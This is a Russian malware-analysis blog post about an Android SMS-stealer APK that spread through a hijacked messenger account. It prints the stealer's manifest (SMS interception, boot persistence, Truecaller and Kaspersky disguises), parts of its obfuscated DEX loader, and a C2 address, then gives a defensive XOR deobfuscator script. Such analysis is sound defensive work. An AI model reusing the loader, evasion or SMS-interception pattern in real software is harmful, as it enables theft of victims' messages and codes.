24 февраля 2026 года в 16 часов по Хабаровскому времени в мессенджере MAX от аккаунта папы приходит сообщения вида "Посмотри, это ты на фото" и следующим сообщением приложен файл "Фото(3).apk". Я сразу же позвонил отцу - интернет отключили, симку вытащили, а на следующий день он сходил в МФЦ и поменял пароль. Файл с вирусом скачать я не смог - через полчаса после этого аккаунт отца удалили за спам, плюс само сообщение я удалил. Но пока файл ещё был, я попросил брата переслать его мне, но скачать я его уже не мог - из-за удаления аккаунта.
Работу пояснительную хоть и проводили, но "был без очков, что-то тыкнул" и установил - когда у тебя телефон от Huawei без гугл сервисов, то все приложения плюс-минус так и ставились. Прошло время - аккаунт через месяц папе дали вновь зарегистрировать, телефон тот мы отложили от греха подальше, выдал свой старый Samsung A50 и про случай забыли. Но одним вечером, когда я лежал в кровати я подумал - "Стоп, если аккаунт восстановили, то и файл я могу скачать?" Зашел в чат с братом, долистал до пересланного сообщения и решил скачать файл вновь. И что вы думаете - я его скачал! Б - Безопасность. А раз файл скачан, то надо его проанализировать - о чём и будет статья.
Ссылки на материалы
Прежде чем начать оставлю список из статей на Хабре, которые освещают данную тему:
https://habr.com/ru/companies/k2tech/articles/879412/ - тут вирус не шифрован, очень повезло
https://habr.com/ru/companies/angarasecurity/articles/959476/
https://habr.com/ru/companies/angarasecurity/articles/973630/
https://habr.com/ru/companies/angarasecurity/articles/992388/
https://habr.com/ru/companies/usergate/articles/1028474/ - очень хорошая статья, я сошлюсь на неё позже.
Первичный осмотр
Первым делом отправляем файл на VirusTotal: https://www.virustotal.com/gui/file/f52786e3662ddf388cf8099e156da186ba6e77f76bf707c4d2d20b4e0f4ae2e8/detection
Когда я закидывал файл, то его распознало всего 18 штук, но уже на момент написания статьи 23 антивируса распознало данный файл. Ключевые моменты, что он encrypted и obfuscated. Это меня и тормознуло на небольшой срок. Во вкладке Behavior нас будет интересовать IP Traffic, а конкретно строка TCP 176.124.222.81:80. Запомним эту строку - она понадобится нам далее. В целом, больше ничего интересного нам нет - большую часть информации мы и так узнаем, когда будем смотреть внутренности APK.
Декомпилируем
Для работы нам понадобится:
APKTool: https://apktool.org/docs/install (https://github.com/iBotPeaches/Apktool).
JADX-GUI: https://github.com/skylot/jadx/releases (я делал под Windows всё, тем более есть комплект сразу с JRE - очень удобно).
OpenCode - будем через ИИ писать деобсуфикатор.
Качаем утилиты и погнали. Сам файл apk представляет zip архив, но при просмотре в архиваторе AndroidManifest.xml стоит параметр, что он под паролем. Как верно говорилось в статье - это ZIP poisoning (установка бита шифрования (0x0001) в поле general purpose flag для отдельных файлов). APKToolу меня без проблем извлек файлы, начинаем смотреть содержимое.
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.reawlme.kcupeyue" platformBuildVersionCode="34" platformBuildVersionName="14"> <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="34"/> <uses-feature android:name="android.hardware.telephony" android:required="false"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/> <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/> <permission android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/> <uses-permission android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/> <application android:theme="@style/Theme.Defender" android:label="@string/str_ulfvkg" android:icon="@mipmap/ic_launcher" android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO" android:allowBackup="false" android:supportsRtl="true" android:extractNativeLibs="false" android:usesCleartextTraffic="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:theme="@style/Theme.Defender" android:name="com.reawlme.kcupeyue.MainActivity" android:exported="true" android:excludeFromRecents="true" android:launchMode="singleTask"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.INFO"/> </intent-filter> </activity> <activity android:name="com.reawlme.kcupeyue.POIX1UVS23" android:exported="true"> <intent-filter> <action android:name="android.intent.action.SEND"/> <action android:name="android.intent.action.SENDTO"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </activity> <service android:name="com.reawlme.kcupeyue.POIX1UVS20" android:exported="false"/> <service android:name="com.reawlme.kcupeyue.POIX1UVS22" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <category android:name="android.intent.category.DEFAULT"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </service> <service android:name="com.reawlme.kcupeyue.POIX1UVS21" android:enabled="true" android:exported="false" android:foregroundServiceType="dataSync"/> <service android:name="com.reawlme.kcupeyue.POIX1UVS19" android:enabled="true" android:exported="false"/> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS16" android:permission="android.permission.BROADCAST_SMS" android:exported="true"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> </intent-filter> </receiver> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS12" android:permission="android.permission.BROADCAST_WAP_PUSH" android:exported="true"> <intent-filter> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> <data android:mimeType="application/vnd.wap.mms-message"/> </intent-filter> </receiver> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS1" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </receiver> <receiver android:name="com.reawlme.kcupeyue.POIX1UVS18" android:enabled="true" android:exported="false"/> <provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.reawlme.kcupeyue.androidx-startup"> <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/> <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/> </provider> <activity android:name="com.truecaller.messaging.conversation.ConversationActivity" android:exported="false" android:screenOrientation="portrait" android:parentActivityName="com.truecaller.ui.TruecallerInit" android:allowEmbedded="true"> <intent-filter> <action android:name="com.truecaller.OPEN_CONVERSATION"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </activity> <activity android:name="edodpwmfjeji.efxosm.dkjskemd" android:enabled="false" android:screenOrientation="portrait"/> <activity android:name="oqzfksq.pqlqf.mrky" android:enabled="false" android:screenOrientation="portrait" android:windowSoftInputMode="adjustResize"/> <receiver android:name="rfjdjdk.djfifjekkd.ciciidkdkf" android:enabled="false"/> <receiver android:name="rfjfidikdf.jfifid.fjfid.fjer" android:enabled="false" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> </intent-filter> </receiver> <receiver android:name="ofpfpdlekdjxj.wjdjd.ejdjf.ididr" android:enabled="false"/> <receiver android:name="cfidkd.djjdj.dkdkeiver" android:enabled="false" android:exported="true"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED"/> <data android:scheme="package"/> </intent-filter> </receiver> <receiver android:name="anfjfjfidkd.fkkfkdmde.ivfjfjfer" android:permission="android.permission.DUMP" android:enabled="false" android:exported="true" android:directBootAware="false"> <intent-filter> <action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/> </intent-filter> </receiver> <meta-data android:name="android.app.shortcuts" android:value="Maloy"/> <meta-data android:name="com.kaspersky.security.KsConnectService" android:value="DycyX.mb"/> <meta-data android:name="com.kaspersky.security.NewKsConnectService" android:value=".mb"/> </application> </manifest>
Из запрашиваемых разрешений нам сразу понятно, что это
SMS Stealer (RECEIVE_SMS/READ_SMS/SEND_SMS);
работает в автозапуске (RECEIVE_BOOT_COMPLETED);
читает не только СМС, но ещё и контакты (READ_PHONE_STATE/READ_CONTACTS/CALL_PHONE) - для того, чтобы потом рассылать вредоносную ссылку с вирусом;
лезет в интернет (INTERNET/ACCESS_NETWORK_STATE);
работает в фоне и имеет защиту от убийства процесса (FOREGROUND_SERVICE/WAKE_LOCK/SCHEDULE_EXACT_ALARM).
Понятное дело, что при установке всё это написано, но вот в такой ситуации папа внимание на всё это не обратил.
А мы обращаем внимание на следующие строчки:
<receiver android:name="com.reawlme.kcupeyue.POIX1UVS16" android:permission="android.permission.BROADCAST_SMS" android:exported="true"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> </intent-filter> </receiver>
priority=2147483647 - это максимально возможный приоритет в Android, то есть этот ресивер получит SMS раньше любого легитимного приложения.
<meta-data android:name="android.app.shortcuts" android:value="Maloy"/> <meta-data android:name="com.kaspersky.security.KsConnectService" android:value="DycyX.mb"/> <meta-data android:name="com.kaspersky.security.NewKsConnectService" android:value=".mb"/>
DycyX.mb — это упакованный DEX-файл, спрятанный в assets/. Kaspersky-совместимость нужна, чтобы избегать детекта (причем касперский этот вирус не видел пару недель назад, если судить по virustotal).
<activity android:name="com.truecaller.messaging.conversation.ConversationActivity"/>
Здесь пытается "косить" под Truecaller (Определитель номера). В целом, бросающиеся в глаза параметры из XML отмечены, поэтому перейдём к файлам.

Как видно, функции все обсуфицированны, но часть информации можно достать.
Файл: app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java
Laed1011QFmO.java
package L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO; import L28d0fa2QFmO.L74cd619QFmO.L433156bQFmO; import L28d0fa2QFmO.L74cd619QFmO.L51a4aa6QFmO; import L28d0fa2QFmO.L74cd619QFmO.L778b867QFmO; import L28d0fa2QFmO.L74cd619QFmO.Ldacae8bQFmO; import L28d0fa2QFmO.L74cd619QFmO.Lfb61d19QFmO; import android.app.Application; import android.content.Context; import dalvik.system.BaseDexClassLoader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.lang.reflect.Field; /* JADX INFO: loaded from: classes.dex */ public class Laed1011QFmO extends Application { public static final String F01425652Tlgx; private static final short[] F48fce10cTlgx; private static Context F53bed25dTlgx; private static final short[] Febab3b5dTlgx = {570,....,} ..... static { String strQ21fbb13ezACV; int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234)); while (true) { switch (iQ968726fazACV) { case 1747841: return; case 1752617: if (L9e63ba2QFmO.F0b0cb632Tlgx / (L0b4c3f2QFmO.F3432883eTlgx + 1172) == 0) { iQ968726fazACV = Lfb61d19QFmO.F0cd5ee95Tlgx + L9e63ba2QFmO.F0b0cb632Tlgx + 1756117; } else { strQ21fbb13ezACV = L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 3, 3, 2342); } break; case 1755339: F01425652Tlgx = Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 0, L9e63ba2QFmO.F0b0cb632Tlgx ^ 177, 842); if ((Lfb61d19QFmO.F0cd5ee95Tlgx ^ (L51a4aa6QFmO.F6b3ca6d0Tlgx / 2585)) < 0) { strQ21fbb13ezACV = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 9, 3, 1974); } else { Lfb61d19QFmO.F0cd5ee95Tlgx = 46; iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 6, 3, 1350)); } break; case 1755464: F48fce10cTlgx = new short[]{813, 815, 805, 789, 825, 830, 811, 830, 815, 868, 814, 811, 830, 652, 687, 686, 679, 652, 687, 673, 676, 3668, 3648, 3660, 3634, 3653, 3636, 2645, 3650, 3653, 3658, 3638, 3636, 3639, 3661, 3639, 3636, 3642, 2645, 3653, 3660, 3658, 3661, 3662, 3659, 3654, 3654, 3648, 3637, 1150, 1117, 1116, 1109, 1150, 1117, 1107, 1110, 2103, 2066, 2079, 2079, 2073, 2156, 3084, 2078, 2157, 2073, 3084, 2157, 2072, 2073, 2071, 2076, 2071, 2192, 2197, 2200, 2178, 2205, 2207, 2266, 2183, 2189, 2183, 2176, 2193, 2201, 2266, 2230, 2197, 2183, 2193, 2224, 2193, 2188, 2231, 2200, 2197, 2183, 2183, 2232, 2203, 2197, 2192, 2193, 2182, 1001, 1016, 1005, 1009, 981, 1008, 1002, 1005, 732, 733, 704, 765, 724, 733, 725, 733, 726, 716, 715, 2722, 2688, 2698, 2757, 2695, 2692, 2699, 2699, 2688, 2689}; iQ968726fazACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx / L51a4aa6QFmO.F6b3ca6d0Tlgx) + 1755338; continue; } iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV); } } public Laed1011QFmO() { /* Method dump skipped, instruction units count: 336 To view this dump change 'Code comments level' option to 'DEBUG' */ throw new UnsupportedOperationException("Method not decompiled: L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO.<init>():void"); } @Override // android.content.ContextWrapper protected void attachBaseContext(Context context) { String strQ985f7048zACV; ClassLoader classLoaderQ4afda25dzACV; Object objQ99889ed5zACV; String strQcbbc1254zACV; String strQ94a7add9zACV; File file; Object[] objArr; int length; ClassLoader classLoaderQ4afda25dzACV2; String strQdd57eeb5zACV; String strQ90df6790zACV; Object obj; InputStream inputStreamQ5b2fde78zACV; File file2; String strQ985f7048zACV2; Object objQ99889ed5zACV2; Field fieldQ07e9ffc0zACV; String strQcbbc1254zACV2; String strQdd57eeb5zACV2; Object obj2; String strQ21fbb13ezACV; Object[] objArr2; String strQ90df6790zACV2; String str = null; String str2 = null; int i = 0; File file3 = null; InputStream inputStream = null; BaseDexClassLoader baseDexClassLoader = null; String str3 = null; File file4 = null; ClassLoader classLoader = null; ClassLoader classLoader2 = null; Field field = null; Object obj3 = null; Object obj4 = null; Object[] objArr3 = null; Object[] objArr4 = null; int i2 = 0; int i3 = 0; Object obj5 = null; int iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 439, 3, 2991)); Field field2 = null; File file5 = null; File file6 = null; FileOutputStream fileOutputStream = null; while (true) { switch (iQde8db453zACV) { ..... case 1749728: L0b4c3f2QFmO.Qdf390e38zACV(context); BaseDexClassLoader baseDexClassLoader2 = new BaseDexClassLoader(str3, file4, null, classLoader); if (L0b4c3f2QFmO.F3432883eTlgx / (L9e63ba2QFmO.F0b0cb632Tlgx ^ (-6593)) == 0) { strQdd57eeb5zACV2 = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 448, 3, 1561); baseDexClassLoader = baseDexClassLoader2; obj2 = obj3; obj3 = obj2; iQde8db453zACV = Ldacae8bQFmO.Q968726fazACV(strQdd57eeb5zACV2); } else { Ldacae8bQFmO.Fac2bad8fTlgx = 69; baseDexClassLoader = baseDexClassLoader2; iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 445, 3, 3205)); } break; case 1753604: super.attachBaseContext(context); iQde8db453zACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx % Lfb61d19QFmO.F0cd5ee95Tlgx) ^ 1752152; break;
Класс Laed1011QFmO — это Application-класс стаба-загрузчика (в манифесте это строка android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO"). В указанном выше case 1749728 BaseDexClassLoader используется для динамической загрузки DEX во время выполнения - это по сути лоадер. А вот в case 1753604 вызывается метод attachBaseContext().
Когда идёт переопределение attachBaseContext в каком-то классе (например, в активности или в своём подклассе Application), обычно создаётся обёртка вокруг переданного Context через вспомогательный класс и затем вызывается super.attachBaseContext() с этой обёрткой (в нашем случае с переданным context). Внутри метода система проверяет: если базовый контекст уже был задан, выбрасывается исключение IllegalStateException - после этого все вызовы к текущему контексту делегируются обёрнутому объекту. Если сказать ещё проще - одно приложение вызывает внутри себя другое приложение.
Метод attachBaseContext() делает следующее:
Читает индикатор версии из файла в code cache:
// Laed1011QFmO.java:124 File file2 = new File(Ldacae8bQFmO.Q78cc340bzACV(context), Ldacae8bQFmO.Q28cadd5bzACV()); // = new File(context.getFilesDir(), "имя_файла")
Копирует
DycyX.mbиз assets:
// Laed1011QFmO.java:561 inputStream = Ldacae8bQFmO.Q5b2fde78zACV( Ldacae8bQFmO.Qb7f94f15zACV(context), // context.getAssets() L0b4c3f2QFmO.Qeeb18469zACV() // "DycyX.mb" );
Загружает DEX через BaseDexClassLoader
Подменяет class loader через рефлексивный доступ к
ClassLoader.pathList.dexElements
// Laed1011QFmO.java:576-578 L51a4aa6QFmO.Q342c7838zACV(field2, true); // field.setAccessible(true) Object[] objArr5 = (Object[]) L0b4c3f2QFmO.Q99889ed5zACV(field2, obj3); // field.get(obj)
Если посмотреть на данный класс, то можно выделить 3 техники обфускации кода
Техника | Суть | Место в коде |
Control Flow Flattening | Исходный код разбивается на базовые блоки, находящиеся на одном уровне вложенности. Каждый блок получает уникальный номер или идентификатор. Это можно увидеть в следующей структуре — while(true) { switch(hash) } | Все методы в Laed1011QFmO.java. Вот этот большой case и реализует данную технику. |
XOR-строки | Строки закодированы в | Массивы |
Рефлексивные вызовы | API-вызовы обёрнуты в методы-прокладки с проверками | Классы |
Для примера Control Flow Flattening посмотрим ещё раз начало файла:
static { int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV( L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234) ); while (true) { switch (iQ968726fazACV) { case 1747841: return; case 1752617: ... case 1755339: ... case 1755464: ... } iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV); } }
Вызов метода Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234) декодирует 3-символьную строку из массива Febab3b5dTlgx (оффсет 0, длина 3) с ключом 1234. Затем Q968726fazACV() берёт hashCode() декодированной строки, и этот хеш становится номером case в switch. Из-за этого невозможно предсказать порядок выполнения без эмуляции.
А где же тогда расшифровываются эти строки? А всё просто - в файле app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/L0b4c3f2QFmO.javaесть следующий код:
//строки 258-264 public static String Qcbbc1254zACV(short[] sArr, int i, int i2, int i3) { char[] cArr = new char[i2]; for (int i4 = 0; i4 < i2; i4++) { cArr[i4] = (char) (sArr[i + i4] ^ i3); } return new String(cArr); }
А в app/src/main/java/L28d0fa2QFmO/L74cd619QFmO/L51a4aa6QFmO.java есть похожий метод по своей структуре:
//строки 189-195 public static String Qdc2b7ffazACV(short[] sArr, int i, int i2, int i3) { char[] cArr = new char[i2]; for (int i4 = 0; i4 < i2; i4++) { cArr[i4] = (char) (sArr[i + i4] ^ i3); } return new String(cArr); }
В этих методах используется общая формула - (char)(short_array[offset + i] ^ key). Все похожие методы делают одно и то же (XOR), но находятся в разных классах.
На данном моменте я уже подключил ИИ - настроил OpenCode (с подключенным платным API Deepseek V4 Pro) и натравил на папку проекта с простым промтом вида "Есть обсуфицированный код, написанный на java - нужен скрипт для деобфускации" и уточнением, что нашёл в коде. Если бы я не воспользовался им, я бы писал статью дольше или вообще не дописал)
Пару минут размышлений и у меня есть уже готовый скрипт:
decode_malware.py
#!/usr/bin/env python3 """ Deobfuscator for Android Banking Trojan encrypted strings. Extracts and decodes XOR-obfuscated short[] arrays from JADX-decompiled Java source. Decoding formula: (char)(short_array[i] ^ key) Usage: python decode_malware.py --jadx-dir ./payload_jadx # parse JADX output python decode_malware.py --jadx-dir . --scan-arrays # find all arrays first python decode_malware.py --jadx-dir . --bruteforce # brute-force keys python decode_malware.py --jadx-dir . --export-json out # export decoded to JSON """ import re import sys import os import json import argparse from collections import defaultdict # ─── Known static field values ────────────────────────────────────── FIELDS = { "F3432883eTlgx": -486, # L0b4c3f2QFmO "F0b0cb632Tlgx": 188, # L9e63ba2QFmO "Fac2bad8fTlgx": -437, # Ldacae8bQFmO "F6b3ca6d0Tlgx": 467, # L51a4aa6QFmO "F0cd5ee95Tlgx": 46, # Lfb61d19QFmO } # ─── Core decode function ─────────────────────────────────────────── def xor_decode(arr, offset, length, key): """Decode segment: (char)((short)arr[offset+i] ^ key).""" chars = [] for i in range(length): val = arr[offset + i] # Emulate Java signed short if val > 32767: val = val - 65536 char_code = (val ^ key) & 0xFFFF chars.append(chr(char_code)) return ''.join(chars) def is_printable(s): """Check if all chars are printable ASCII or common Unicode letters.""" for c in s: o = ord(c) if o < 32 or o > 126: if o < 0x0400 or o > 0x04FF: # not Cyrillic either return False return True # ─── Parser for JADX Java files ───────────────────────────────────── def parse_java_file(filepath): """Parse a JADX-decompiled Java file and return arrays + calls.""" with open(filepath, 'r', encoding='utf-8', errors='replace') as f: content = f.read() arrays = {} calls = [] # Extract short[] arrays: short[] Name = {1, 2, ...}; # Match multi-line definitions too block_pattern = re.compile( r'(?:private|public|static|final|\s)*short\[\]\s+(\w+)\s*=\s*\{([^}]+)\}', re.DOTALL ) for match in block_pattern.finditer(content): name = match.group(1) raw = match.group(2) # Remove whitespace and comments raw = re.sub(r'/\*.*?\*/', '', raw) raw = re.sub(r'//.*', '', raw) values = [] for v in raw.split(','): v = v.strip() if v: try: values.append(int(v)) except ValueError: pass if values: arrays[name] = values # Extract static-init assignments: F48fce10cTlgx = new short[]{...}; init_pattern = re.compile( r'(\w+)\s*=\s*new\s+short\[\]\s*\{([^}]+)\}', re.DOTALL ) for match in init_pattern.finditer(content): name = match.group(1) raw = match.group(2) raw = re.sub(r'/\*.*?\*/', '', raw) raw = re.sub(r'//.*', '', raw) values = [] for v in raw.split(','): v = v.strip() if v: try: values.append(int(v)) except ValueError: pass if values: arrays[name] = values # Extract decode calls: Qcbbc1254zACV(ArrayName, offset, length, keyExpr) call_pattern = re.compile( r'(Q[a-zA-Z0-9]+)\((\w+),\s*(\d+),\s*(\d+),\s*([^)]+)\)' ) for match in call_pattern.finditer(content): fn = match.group(1) arr_name = match.group(2) offset = int(match.group(3)) length = int(match.group(4)) key_expr = match.group(5).strip() calls.append({ 'function': fn, 'array_ref': arr_name, 'offset': offset, 'length': length, 'key_expr': key_expr, 'file': os.path.basename(filepath), }) return arrays, calls def compute_key_expr(expr): """Try to evaluate a key expression like 'Lxyz.Fabc ^ 180'.""" for field, value in FIELDS.items(): expr = expr.replace(field, str(value)) # Remove class prefixes expr = re.sub(r'\w+\.', '', expr) try: return eval(expr, {"__builtins__": {}}, {}) except: return None # ─── Array scanner ───────────────────────────────────────────────── def scan_arrays(all_arrays, all_calls): """Smart scan: find keys that produce readable strings for each array.""" print(f"\n{'='*60}") print(f"SMART DECODING: {len(all_arrays)} arrays, {len(all_calls)} calls") print(f"{'='*60}") results = [] for arr_full_name, arr in all_arrays.items(): arr_name_short = arr_full_name.split("::")[-1] if not arr or len(arr) < 3: continue # Strategy 1: Use key expressions from calls that reference this array for call in all_calls: if call['array_ref'] == arr_name_short: key = compute_key_expr(call['key_expr']) if key is not None and call['offset'] + call['length'] <= len(arr): s = xor_decode(arr, call['offset'], call['length'], key) if is_printable(s): results.append({ 'string': s, 'array': arr_full_name, 'key': key, 'key_expr': call['key_expr'], 'offset': call['offset'], 'length': call['length'], 'file': call['file'], }) # Strategy 2: Brute-force segments that look like they contain # sequential printable chars best_key, best_count = find_best_key(arr, min_len=2) if best_count >= 3: decoded = decode_full_array(arr, best_key) # Show max 80 chars results.append({ 'string': decoded[:120], 'array': arr_full_name, 'key': best_key, 'key_expr': f'bruteforce(best={best_count} printable)', 'offset': 0, 'length': len(arr), 'file': '(auto)', }) # Print results (handle Windows console encoding) seen = set() for r in results: s = r['string'] if s and s not in seen: seen.add(s) k = r['key'] print(f" [{r['array']}]") print(f" key={k:5d} (0x{k&0xFFFF:04x}) len={r['length']:4d} offset={r['offset']:4d}") try: print(f" => \"{s}\"") except UnicodeEncodeError: # Fallback: show hex hex_repr = ' '.join(f'{ord(c):04x}' for c in s) print(f" => [hex] {hex_repr}") print() return results def find_best_key(arr, min_len=2): """Find the XOR key that maximizes printable chars across the array.""" best_key = 0 best_count = 0 for key in range(0, 65536): count = 0 for val in arr: if val > 32767: val -= 65536 c = (val ^ key) & 0xFFFF if 32 <= c <= 126 or 0x0400 <= c <= 0x04FF: count += 1 if count > best_count: best_count = count best_key = key # Early exit if perfect if best_count == len(arr): break return best_key, best_count def decode_full_array(arr, key): """Decode entire array with a given key.""" chars = [] for val in arr: if val > 32767: val -= 65536 c = (val ^ key) & 0xFFFF chars.append(chr(c) if 32 <= c <= 65535 else f'\\u{c:04x}') return ''.join(chars) # ─── Brute-force mode ────────────────────────────────────────────── def brute_force_all(all_arrays): """Try all keys 0-65535 and report arrays that decode to readable text.""" print(f"\n{'='*60}") print(f"BRUTE-FORCE MODE: {len(all_arrays)} arrays") print(f"{'='*60}") for arr_full_name, arr in all_arrays.items(): if len(arr) < 3: continue best_key, best_count = find_best_key(arr) if best_count >= len(arr) * 0.7 and best_count >= 5: decoded = decode_full_array(arr, best_key)[:200] print(f"\n[{arr_full_name}] len={len(arr)}, printable={best_count}/{len(arr)}") print(f" key={best_key} (0x{best_key&0xFFFF:04x})") print(f" \"{decoded}\"") # ─── Main pipeline ───────────────────────────────────────────────── def process_jadx_dir(jadx_dir, mode='smart'): """Walk JADX directory, parse all Java files, decode strings.""" if not os.path.isdir(jadx_dir): print(f"[!] Not a directory: {jadx_dir}") return [] all_arrays = {} all_calls = [] file_count = 0 for root, dirs, files in os.walk(jadx_dir): for fname in files: if fname.endswith('.java'): fpath = os.path.join(root, fname) rel = os.path.relpath(fpath, jadx_dir) try: arrs, calls = parse_java_file(fpath) for name, vals in arrs.items(): all_arrays[f"{rel}::{name}"] = vals all_calls.extend(calls) file_count += 1 except Exception as e: print(f" [skip] {fname}: {e}") print(f"Parsed {file_count} files: {len(all_arrays)} arrays, {len(all_calls)} calls") if mode == 'scan': # Just list arrays and their sizes for name, arr in sorted(all_arrays.items(), key=lambda x: -len(x[1])): if len(arr) >= 10: print(f" {name} ({len(arr)} items)") return [] if mode == 'bruteforce': return brute_force_all(all_arrays) if mode == 'smart': return scan_arrays(all_arrays, all_calls) return [] # ─── CLI ──────────────────────────────────────────────────────────── if __name__ == "__main__": # Force UTF-8 output on Windows if sys.platform == 'win32': import io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace') sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace') parser = argparse.ArgumentParser( description="Decode XOR-obfuscated strings from Android malware JADX output" ) parser.add_argument("--jadx-dir", default=".", help="JADX decompiled output directory") parser.add_argument("--mode", choices=["smart", "bruteforce", "scan"], default="smart", help="Decoding mode") parser.add_argument("--export-json", help="Export decoded strings to JSON file") args = parser.parse_args() results = process_jadx_dir(args.jadx_dir, args.mode) if args.export_json and results: with open(args.export_json, 'w', encoding='utf-8') as f: json.dump(results, f, indent=2, ensure_ascii=False) print(f"Exported {len(results)} strings to {args.export_json}") if not results: print("\nTip: For extracting string URLs from payload.dex:") print(" 1. Decompile payload.dex with: jadx -d payload_jadx payload.dex") print(" 2. Run: python decode_malware.py --jadx-dir payload_jadx --mode bruteforce") print(" 3. Run: python decode_malware.py --jadx-dir payload_jadx --mode smart")
В начале каждого класса используются следующие статические поля:
Поле | Начальное значение | Класс:строка в коде |
F3432883eTlgx | -486 | L0b4c3f2QFmO.java:28 |
F0b0cb632Tlgx | 188 | L9e63ba2QFmO.java:22 |
Fac2bad8fTlgx | -437 | Ldacae8bQFmO.java:28 |
F6b3ca6d0Tlgx | 467 | L51a4aa6QFmO.java:24 |
F0cd5ee95Tlgx | 46 | Lfb61d19QFmO |
Ключи вычисляются динамически, например L9e63ba2QFmO.F0b0cb632Tlgx ^ 180 в файлеapp/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java :
